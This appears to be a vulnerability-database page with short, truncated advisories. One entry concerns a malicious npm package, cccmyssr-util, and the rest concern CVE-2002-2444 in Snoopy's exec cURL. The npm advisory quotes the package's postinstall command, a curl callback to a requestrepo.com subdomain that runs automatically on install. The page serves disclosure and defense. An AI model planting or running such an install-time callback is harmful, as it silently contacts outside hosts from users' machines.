Malicious code in cccmyssr-util (npm)

Source: amazon-inspector 99d23c8f1194f89f1b52e986cd57ca9c0fbd739a6565eb33c972f4fbaf0966e7 On npm install, the package's postinstall.js unconditionally executes exec'curl http://qvmjcw4s.requestrepo.com', sending an HTTP callback to a unique subdomain on requestrepo.com — a public out-of-band...

EUVD-2002-2422

Malware in sbrugna...

CVE-2002-2444

CVE-2002-2444 affects Snoopy prior to 2.0.0, with a security hole in exec cURL. The initial entry reports CVSS v2 base score 7.5 (HIGH) and CVSS v3.1 base score 9.8 (CRITICAL). No exploitation details or remediation are provided in the connected documents.

CVE-2002-2444: Improper Input Validation

Snoopy before 2.0.0 has a security hole in exec cURL...

PT-2019-6471

Name of the Vulnerable Software and Affected Versions Snoopy versions prior to 2.0.0 Description The issue is related to a security hole in the exec cURL functionality. Recommendations For versions prior to 2.0.0, update to version 2.0.0 or later to resolve the issue...